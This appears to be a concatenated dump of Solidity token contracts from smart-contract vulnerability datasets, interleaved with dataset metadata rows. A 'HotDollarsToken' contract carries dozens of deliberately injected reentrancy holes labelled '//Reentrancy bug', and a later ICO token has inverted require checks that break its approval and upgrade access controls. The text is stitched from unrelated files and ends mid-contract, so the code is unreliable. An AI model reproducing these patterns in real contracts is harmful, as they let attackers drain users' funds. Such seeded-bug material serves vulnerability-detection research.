/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
mapping (address => uint) private balances_re_ent20;
mapping (address => bool) private disableWithdraw_re_ent20;
function deposit_re_ent20() public payable {
balances_re_ent20[msg.sender] += msg.value;
}
function withdrawBalance_re_ent20() public {
require(disableWithdraw_re_ent20[msg.sender] == false);
uint amountToWithdraw = balances_re_ent20[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent20[msg.sender] = true;
balances_re_ent20[msg.sender] = 0;
}
}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
address lastPlayer_re_ent2;
uint jackpot_re_ent2;
function deposit_re_ent2() public payable{
uint amount = msg.value;
jackpot_re_ent2 = amount;
}
function buyTicket_re_ent2() public{
(bool success,) = lastPlayer_re_ent2.call.value(jackpot_re_ent2)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
uint lockTime19;
mapping (address => uint) private balances_re_ent19;
function deposit_re_ent19() public payable {
balances_re_ent19[msg.sender] += msg.value;
}
function transfer_re_ent19(address to, uint amount) public {
if (balances_re_ent19[msg.sender] >= amount) {
balances_re_ent19[to] += amount;
balances_re_ent19[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent19() public {
uint amountToWithdraw = balances_re_ent19[msg.sender];
require(now>lockTime19+60 days);
if (amountToWithdraw > 0) {
lockTime19 = now;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
balances_re_ent19[msg.sender] = 0;
lockTime19 = now - 60 days;
}
}
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
mapping (address => uint) private balances_re_ent18;
mapping (address => bool) private disableWithdraw_re_ent18;
function deposit_re_ent18() public payable {
balances_re_ent18[msg.sender] += msg.value;
}
function transfer_re_ent18(address to, uint amount) public {
if (balances_re_ent18[msg.sender] >= amount) {
balances_re_ent18[to] += amount;
balances_re_ent18[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent18() public {
require(disableWithdraw_re_ent18[msg.sender] == false);
uint amountToWithdraw = balances_re_ent18[msg.sender];
if (amountToWithdraw > 0) {
disableWithdraw_re_ent18[msg.sender] = true;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent18[msg.sender] = false;
balances_re_ent18[msg.sender] = 0;
}
}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
// solhint-disable-next-line no-simple-event-func-name
mapping (address => uint) private balances_re_ent10;
mapping (address => bool) private disableWithdraw_re_ent10;
function deposit_re_ent10() public payable {
balances_re_ent10[msg.sender] += msg.value;
}
function withdrawBalance_re_ent10() public {
require(disableWithdraw_re_ent10[msg.sender] == false);
uint amountToWithdraw = balances_re_ent10[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent10[msg.sender] = true;
balances_re_ent10[msg.sender] = 0;
}
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
mapping(address => uint) balances_re_ent1;
function deposit_re_ent1() public payable{
uint amount = msg.value;
balances_re_ent1[msg.sender]+=amount;
}
function withdraw_balances_re_ent1 () public {
uint amount = balances_re_ent1[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent1[msg.sender] = 0;
}
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract HotDollarsToken is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping(address => uint) redeemableEther_re_ent25;
function claimReward_re_ent25() public {
// ensure there is a reward to give
require(redeemableEther_re_ent25[msg.sender] > 0);
uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender];
msg.sender.call.value(transferValue_re_ent25)(""); //bug //Reentrancy bug
redeemableEther_re_ent25[msg.sender] = 0;
}
mapping (address => uint256) public balances;
mapping(address => uint) balances_re_ent24;
function withdrawFunds_re_ent24 (uint256 _weiToWithdraw) public {
require(balances_re_ent24[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent24[msg.sender] -= _weiToWithdraw;
}
mapping (address => mapping (address => uint256)) public allowed;
address lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
lastPlayer_re_ent23.call.value(jackpot_re_ent23)("");//Reentrancy bug
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
string public name; //fancy name: eg Simon Bucks
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])(""); //Reentrancy bug
if (success)
balances_re_ent21[msg.sender] = 0;
}
uint8 public decimals; //How many decimals to show.
uint256 counter_re_ent21 =0;
function callme_re_ent21() public{
require(counter_re_ent21<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent21 += 1;
}
string public symbol; //An identifier: eg SBX
constructor() public {
totalSupply = 3 * 1e28;
name = "HotDollars Token";
decimals = 18;
symbol = "HDS";
balances[msg.sender] = totalSupply;
}
mapping (address => uint) balances_re_ent16;
modifier hasBalance_re_ent16(){
require(balances_re_ent16[msg.sender] > 0);
_;
balances_re_ent16[msg.sender] = 0;
}
function addToBalance_re_ent16() public payable{
balances_re_ent16[msg.sender] += msg.value;
}
function withdraw_balances_re_ent16() public hasBalance_re_ent16{
uint amountToWithdraw = balances_re_ent16[msg.sender];
(bool success,) = msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
if (!(success)) { revert(); }
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
bool not_called_re_ent15 = true;
function deposit_re_ent15() public payable{
not_called_re_ent15 = true;
}
function bug_re_ent15() public{
require(not_called_re_ent15);
(bool success,) = (msg.sender.call.value(1 ether)("")); //Reentrancy bug
if(! success){
revert();
}
not_called_re_ent15 = false;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
mapping(address => uint) redeemableEther_re_ent14;
function deposit_re_ent14() public payable{
uint amount = msg.value;
redeemableEther_re_ent14[msg.sender]+=amount;
}
function claimReward_re_ent14() public {
// ensure there is a reward to give
require(redeemableEther_re_ent14[msg.sender] > 0);
uint transferValue_re_ent14 = redeemableEther_re_ent14[msg.sender];
msg.sender.call.value(transferValue_re_ent14)(""); //bug //Reentrancy bug
redeemableEther_re_ent14[msg.sender] = 0;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
mapping(address => uint) balances_re_ent13;
function deposit_re_ent13() public payable{
uint amount = msg.value;
balances_re_ent13[msg.sender]+=amount;
}
function withdrawFunds_re_ent13 (uint256 _weiToWithdraw) public {
require(balances_re_ent13[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent13[msg.sender] -= _weiToWithdraw;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
address lastPlayer_re_ent12;
uint jackpot_re_ent12;
function deposit_re_ent12() public payable{
uint amount = msg.value;
jackpot_re_ent12 = amount;
}
function buyTicket_re_ent12() public{
(bool success,) = lastPlayer_re_ent12.call.value(jackpot_re_ent12)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent12 = msg.sender;
jackpot_re_ent12 = address(this).balance;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint) balances_re_ent11;
function deposit_re_ent11() public payable{
uint amount = msg.value;
balances_re_ent11[msg.sender]+=amount;
}
function withdraw_balances_re_ent11 () public {
uint amount = balances_re_ent11[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent11[msg.sender] = 0;
}
}
| 223,693 | 14,064 |
8c5329338a8d23ea7187b3abc3671de51014ada3916e72134024ef3dc41c9733
| 38,041 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xeB742EAdbd933d05dDB54B12B8F2D7714e1ffdb4/contract.sol
| 4,815 | 18,880 |
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// FomoToken with Governance.
contract FomoToken is BEP20('FOMO Token', 'FOMO') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner.
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "FOMO::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "FOMO::delegateBySig: invalid nonce");
require(now <= expiry, "FOMO::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "FOMO::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "FOMO::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 255,705 | 14,065 |
460511c1fe648ad1629d9ba9a1045540922dd23784cd146b7c3d1e7025772276
| 25,652 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x3ef1d9870c18e24547aeb02461497fb052eff111.sol
| 3,886 | 15,904 |
// Created using ICO Wizard https://github.com/oraclesorg/ico-wizard by Oracles Network
pragma solidity ^0.4.11;
// Created using ICO Wizard https://github.com/oraclesorg/ico-wizard by Oracles Network
library SMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require ((_value != 0) && (allowed[msg.sender][_spender] != 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
require(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading));
// Validate input value.
require (value == 0);
balances[msg.sender] = safeSub(balances[msg.sender], value);
// Take tokens out from circulation
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
require(!canUpgrade()); // The token is not yet in a state that we could think upgrading;
require(agent == 0x0);
// Only a master can designate the next agent
require(msg.sender != upgradeMaster);
// Upgrade has already begun for an agent
require(getUpgradeState() == UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
// Bad interface
require(!upgradeAgent.isUpgradeAgent());
// Make sure that token supplies match in source and target
require(upgradeAgent.originalSupply() != totalSupply);
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
require(master == 0x0);
require(msg.sender != upgradeMaster);
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) onlyOwner {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
reservedTokensList[addr] = ReservedTokensData({inTokens:inTokens, inPercentageUnit:inPercentageUnit, inPercentageDecimals: inPercentageDecimals});
}
function getReservedTokensListValInTokens(address addr) constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedTokensListValInPercentageUnit(address addr) constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedTokensListValInPercentageDecimals(address addr) constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals) onlyOwner {
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
